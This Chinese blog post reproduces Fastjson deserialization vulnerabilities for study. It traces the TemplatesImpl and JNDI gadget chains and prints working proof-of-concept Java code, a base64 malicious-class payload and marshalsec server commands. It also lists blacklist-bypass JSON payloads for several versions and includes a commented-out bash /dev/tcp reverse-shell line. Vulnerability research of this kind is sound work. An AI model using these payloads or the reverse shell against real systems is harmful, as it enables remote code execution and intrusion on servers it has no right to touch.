【漏洞复现】Fastjson反序列化_fastjson反序列化漏洞复现-程序员宅基地

技术标签: java  web安全  安全  漏洞分析  信息安全  


欢迎大家关注我的公众号“嘀嗒安全”
在这里插入图片描述

最近log4j的漏洞很火,他的复现步骤和fastjson相似 所以来复现学习一些,希望对大家有一点帮助

一、简介

Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r9qJeV4o-1640942062035)(fastjson.assets/111.png)]

二、序列化与反序列化

序列化是指将对象按照一定格式转化为字节流或字符串

反序列化是序列化的逆过程,将具有一定格式的字节流或字符串还原成对象。

​ Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。

​ 序列化可以将对象转换成字节流后保存、传输。反序列化则可以将字节流转换成对象,注入进程序之中,也就是说,不加以控制的反序列化,可以在程序中注入任意一个对象。

三、Fastjson漏洞介绍

​ 与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter方法将JSON字符串还原成对象。

1.2.24版本发布了反序列化漏洞,1.2.25关闭了默认开启的AutoType并加入黑名单

1.2.41和1.2.42 对类名处理不当,造成黑名单绕过

1.2.45中发现了不在黑名单中的利用类

1.2.47中发现了缓存机制可以绕过AutoType

1.2.68又通过缓存绕过了AutoType

从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。

· 寻找新的利用链,绕过黑名单。

· 寻找绕过AutoType的方式。

1、漏洞原理

FastJson将JSON还原成对象的方法有三种

  • parse(String text)
  • parseObject(String text)
  • parseObject(String text,Class\clazz)

当通过这3种方法将JSON还原成对象时,FastJson自动调用类中的setter方法和无参构造函数,以及满足条件的getter方法:

  • 只存在getter方法,无setter方法
  • 方法名称长度大于等于4
  • 非静态方法
  • 方法名以get开头,且第四个字符为大写字母如getAge
  • 方法无需传参
  • 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FDYMr8Kz-1640942062035)(fastjson.assets/image-20211218222548299.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lt29PzNh-1640942062036)(fastjson.assets/image-20211218222626214.png)]

parseObject(String text)方法将JSON串还原成对象后,会再调用一个xxx方法,所以类中搜易getter方法都会被执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FLSyF5fP-1640942062036)(fastjson.assets/image-20211218222752665.png)]

2、RMI

Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化

ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件

#sun.rmi.registry.registryFilter=\
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"

利用ysoserial攻击目标RMI开启的1088端口,RMI自动反序列化目标传过来的字节流,攻击要求,已知目标端口,已知所用的组件

3、JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。

当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。

  1. 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
  2. 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
  3. 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
  4. 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。

编译生成.class文件

在文件目录下开启http服务

python -m http.server

使用marshalsec工具,开启监听本地的1099端口

java -cp marshalsec.jar marshalsec.jnid.RMIRefServer http://127.0.0.1:8000/#eval.class 1099

在程序中构造恶意代码

被攻击的程序会先连接到工具启动的RMI服务
会去http服务上获取恶意的类
恶意的类因为写在了静态代码块中,加载时就会自动调用 

4、JEP290

JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。

四、编写的简单测试的环境

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FastJsonDemo {
    public static void main(String[] args){
        String str = command;
        JSON.parse(str, Feature.SupportNonPublicField);
        /*
        还可以是JNDI的方式
         {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "rmi://127.0.0.1:1999/Exploit",
            "autoCommit": true
        }
         */
    }
}

五、漏洞版本

1、fastjson<=1.2.24

1.1、TemplatesImpl 利用链分析

首先使用parseObject对payload进行反序列化。parseObject会调用payload中存储的@type信息,即Templateslmpl的getter,setter,和构造方法。

在TypeUtil.class中下断点,此处加载Templateslmpl类。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gprwQKbO-1640942062038)(fastjson.assets/image-20211219030349660.png)]

这里调用了getter方法,getOutputProperties
在这里插入图片描述

调用newTransformer方法
在这里插入图片描述

调用getTransletInstance方法
在这里插入图片描述

这里会调用defineTransletClasses,通过传入的_bytecodes生成 _class

此处可以看到成功传入类名,调用newInstance实例化为tranlet对象

此处调用恶意构造方法

完整的利用链
在这里插入图片描述

编译EvilObject.java成EvilObject.class
Alt text
先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码:

final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\\EvilObject.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
 String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_transletIndex\":0,\"_auxClasses\":{},\"_outputProperties\":{ }";

下面看下Poc是怎么构造的,当使用fastjson解析json时,会自动调用其属性的get方法。
TypeUtils.clss return loadClass处下断点,会加载TemplatesImpl类
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m6XT8tHt-1640942062038)(fastjson.assets/image-20211220005616881.png)]

继续调试,这里调用了getOutputProperties方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q4Rd2oOp-1640942062039)(fastjson.assets/image-20211222002933521.png)]

调用new TransformerImpl方法,这时_OutputProperties已经赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lGKIYUY6-1640942062039)(fastjson.assets/image-20211222003050329.png)]

调用newTransformer方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K1IcEtTl-1640942062040)(fastjson.assets/image-20211220010955555.png)]

调用getTransletInstance方法,并对我们传入的_name进行判断,这里就是为什么_name字段需要进行赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TpV1FpyI-1640942062041)(fastjson.assets/image-20211220011033841.png)]

又判断_class,这里会调用defineTransletClasses,

这里就用到了_tfactory,这里也是他必须为{}(这里就是将它赋值为了一个对象),这段代买主要就是获得了一个类加载器,_tfactory设置为对象后,这里的代码就不会报错了,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7GNyjFWu-1640942062041)(fastjson.assets/image-20211222005140296.png)]

继续执行,程序就会通过传入的_bytecodes生成 _class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecF2r0mL-1640942062042)(fastjson.assets/image-20211222003734154.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FB3chsD2-1640942062042)(fastjson.assets/image-20211222003827512.png)]

此处可以看到成功传入了我们定义的恶意类的类名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-scx6Djrw-1640942062043)(fastjson.assets/image-20211222004045820.png)]

然后就会在这里调用了恶意代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oog3IhDz-1640942062043)(fastjson.assets/image-20211222004237116.png)]

总的来说,首先_bytecodes会传入 getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes字节数组new一个_class,_bytecodes加载到_class中,最后根据_class,用newInstance生成一个java实例

利用链大致就是这个(大佬的图)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TNR5oFRU-1640942062043)(fastjson.assets/image-20211222004433030.png)]

将包含恶意代码的java文件使用javac生成.class文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilObject /*extends AbstractTranslet */{

    public EvilObject() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }

    public static void main(String[] args) throws Exception {
        //test
        EvilObject evilObject = new EvilObject();
    }
}

将文件中的内容进行base64编码,然后放入payload中

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["恶意代码"],'_name':'xx','_tfactory':{ },"_outputProperties":{ }}

这里附一个恶意代码和poc一起生成的文件

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class TemplatesImplPoc2 {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "nice0e3"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");
        try {
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            // 输出构造好的POC
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            // fastjson解析POC
            // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

大概流程是先创建一个TemplatesImpl对象,再使用Javassist动态编程创建一个恶意类,由于这个恶意类是自定义的,因此可以通过该类执行任何想要执行的代码,比如Runtime.getRuntime().exec(“calc.exe”)。一个类在初始化时会自动执行静态代码块里的代码,因此可以将Runtime.getRuntime().exec(“calc.exe”)写在恶意类的静态代码块中,在初始化的过程中自动执行。恶意类会被转化成一个byte数组,并传递给TemplatesImpl的_ bytecodes属性。

主要注意的点

  • 恶意代码在_bytecodes中,生成的恶意代码必须进行base64解码

  • TemplatesImpl链中必须得继承父类

  • _tfactory是一个对象

  • _name不能为空

  • _outputProperties 是properties类型,他的get和set方法都会被执行加粗样式

生成的poc

{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'xx','_tfactory':{ },\"_outputProperties\":{ }}

将poc当成恶意代码传入目标中执行后就会弹出一个计算器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mZjMhBki-1640942062044)(fastjson.assets/image-20211219020807714.png)]

1.2、JNDI利用链分析
Gadget com.sun.rowset.JdbcRowSetImpl

 setAutoCommit() -> connect() -> InitialContext.lookup()

poc如下,dataSourceName 为rmi://localhost:1090/evil:

        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
                + "\"dataSourceName\":\"" + dataSourceName + "\","
                + "\"autoCommit\":\"true\"}";

RMIServer代码如下:

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author: lanqihe
 * @Date: 下午8:01 2017/12/11
 * @Modified By:
 * @Description: 本地注册一个register,并将恶意的类绑定
 */
public class RMIServer {


    public static void main(String argv[]) {

        try {
            Registry  registry =  LocateRegistry.createRegistry(1090);

            //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
            //因此,本地测试的话,如果factory正确,factoryLocation随便填写
            Reference reference = new Reference("EvilObject",
                    "org.lain.poc.jndi.EvilObjectFactory",
                    "http://localhost:9999/" );


            //客户端通过evil查找,获取到EvilObject
            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");
            System.out.println("Waiting for connection......");

        } catch (Exception e) {
            System.out.println("RMIServer: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

调试过程如下:
首先会加载com.sun.rowset.JdbcRowSetImpl类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RZhjqQ56-1640942062044)(fastjson.assets/image-20211222021304588.png)]

这里获得了我们传入参数中@type的值,这个就是要要加载的类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d5Z23eWW-1640942062044)(fastjson.assets/image-20211222212423544.png)]

因为poc中的autoCommit设置为true.会调用setAutoCommit方法
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mROQH6vl-1640942062044)(fastjson.assets/image-20211222030331334.png)]

继续调试,就会进入connect()方法中,调用lookup方法
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9XFEp4T0-1640942062044)(fastjson.assets/image-20211222030405126.png)]

因为初始化的时候getDataSourceName为空,进入else,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName,并传入setDataSourceNmame()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-juDDbZIz-1640942062045)(fastjson.assets/image-20211222215149474.png)]

通过lookup方法就实例化了恶意类,从而导致构造方法的恶意代码触发。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ChFGVMED-1640942062045)(fastjson.assets/image-20211222030438501.png)]

总结:fastjson @type的值传入类,在解析json时,就会调用传入属性的getter,setter方法。如果找到一个类getter,setter能够传入可控的恶意class字节码或者是jdni服务,就能导致rce.

@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl

dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数

autoCommit :调⽤ setAutoCommit 函数。

1.3、JNDI利用

​ 首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    
    public Exploit() throws Exception {
    
        Process p = Runtime.getRuntime().exec(new String[]{
    "cmd","/c","calc.exe"});
      //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
    
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    
    }
}

使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

javac Exploit.java
使用python开启一个http服务并把生成的Exploit.class文件,放到vps的web目录下
python3 -m http.server

使用marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。

mvn clean package -DskipTests

​ 把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 9999

发送payload

{
    "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit", "autoCommit":true}


{
    "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

成功执行了系统命令

1.4、官方进行的修复

astjson 1.2.25版本中引入了checkAutotype,其中增加了黑白名单的校验,用于缓解反序列化漏洞的产生,并且将内置的黑白名单进行加密,增加了绕过黑白名单的研究成本。

通常,以下几种类型的类可以通过校验。

· 缓存 mapping 中的类。

· 白名单中的类。

· 开启 autotype的类。

· 指定的期望类(expectClass)。

· 使用JSONType 注解的类。

Fastjson优先从mapping中获取类,当成功获取时,其不会进行黑白名单的安全检测,因此可以通过寻找将类加入缓存的方法,达到从逻辑层面上绕过checkAutoType检测的目的,所以绕过checkAutoType安全机制是一种逻辑漏洞。

2、fastjson<=1.2.41

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

3、fastjson<=1.2.42

fastjson在1.2.42版本新增了校验机制。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
    
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
exp:

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

4、fastjson<=1.2.45

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{
    "data_source":"ldap://localhost:1389/Exploit"}}

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

5、fastjson<=1.2.47

这个版本发生了不开启autotype情况下能利用成功的绕过,对版本小于1.2.48的版本通杀。

这次的绕过:

利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以绕过,

然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mNBKCFBw-1640942062047)(fastjson.assets/image-20211222233454428.png)]

这个java.lang.class类对应的deserializer为MiscCodec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RD7pRyBe-1640942062047)(fastjson.assets/image-20211222233721515.png)]

deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
exp:

{
    
    "a": {
    
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
    
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

6、1.2.48<=fastjson<1.2.68

这个几个版本中都是对黑名单的绕过

{
    "@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}

{
    "@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{
    "@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{
    "@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{
    "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {
    "@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

7、fastjson<=1.2.68

本次是java.lang.AutoCloseable导致的exceptClass为非NULL

poc

{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_46363249/article/details/122260021

智能推荐

什么是内部类?成员内部类、静态内部类、局部内部类和匿名内部类的区别及作用?_成员内部类和局部内部类的区别-程序员宅基地

文章浏览阅读3.4k次,点赞8次,收藏42次。一、什么是内部类?or 内部类的概念内部类是定义在另一个类中的类;下面类TestB是类TestA的内部类。即内部类对象引用了实例化该内部对象的外围类对象。public class TestA{ class TestB {}}二、 为什么需要内部类?or 内部类有什么作用?1、 内部类方法可以访问该类定义所在的作用域中的数据,包括私有数据。2、内部类可以对同一个包中的其他类隐藏起来。3、 当想要定义一个回调函数且不想编写大量代码时,使用匿名内部类比较便捷。三、 内部类的分类成员内部_成员内部类和局部内部类的区别

分布式系统_分布式系统运维工具-程序员宅基地

文章浏览阅读118次。分布式系统要求拆分分布式思想的实质搭配要求分布式系统要求按照某些特定的规则将项目进行拆分。如果将一个项目的所有模板功能都写到一起,当某个模块出现问题时将直接导致整个服务器出现问题。拆分按照业务拆分为不同的服务器,有效的降低系统架构的耦合性在业务拆分的基础上可按照代码层级进行拆分(view、controller、service、pojo)分布式思想的实质分布式思想的实质是为了系统的..._分布式系统运维工具

用Exce分析l数据极简入门_exce l趋势分析数据量-程序员宅基地

文章浏览阅读174次。1.数据源准备2.数据处理step1:数据表处理应用函数:①VLOOKUP函数; ② CONCATENATE函数终表:step2:数据透视表统计分析(1) 透视表汇总不同渠道用户数, 金额(2)透视表汇总不同日期购买用户数,金额(3)透视表汇总不同用户购买订单数,金额step3:讲第二步结果可视化, 比如, 柱形图(1)不同渠道用户数, 金额(2)不同日期..._exce l趋势分析数据量

宁盾堡垒机双因素认证方案_horizon宁盾双因素配置-程序员宅基地

文章浏览阅读3.3k次。堡垒机可以为企业实现服务器、网络设备、数据库、安全设备等的集中管控和安全可靠运行,帮助IT运维人员提高工作效率。通俗来说,就是用来控制哪些人可以登录哪些资产(事先防范和事中控制),以及录像记录登录资产后做了什么事情(事后溯源)。由于堡垒机内部保存着企业所有的设备资产和权限关系,是企业内部信息安全的重要一环。但目前出现的以下问题产生了很大安全隐患:密码设置过于简单,容易被暴力破解;为方便记忆,设置统一的密码,一旦单点被破,极易引发全面危机。在单一的静态密码验证机制下,登录密码是堡垒机安全的唯一_horizon宁盾双因素配置

谷歌浏览器安装(Win、Linux、离线安装)_chrome linux debian离线安装依赖-程序员宅基地

文章浏览阅读7.7k次,点赞4次,收藏16次。Chrome作为一款挺不错的浏览器,其有着诸多的优良特性,并且支持跨平台。其支持(Windows、Linux、Mac OS X、BSD、Android),在绝大多数情况下,其的安装都很简单,但有时会由于网络原因,无法安装,所以在这里总结下Chrome的安装。Windows下的安装:在线安装:离线安装:Linux下的安装:在线安装:离线安装:..._chrome linux debian离线安装依赖

烤仔TVの尚书房 | 逃离北上广?不如押宝越南“北上广”-程序员宅基地

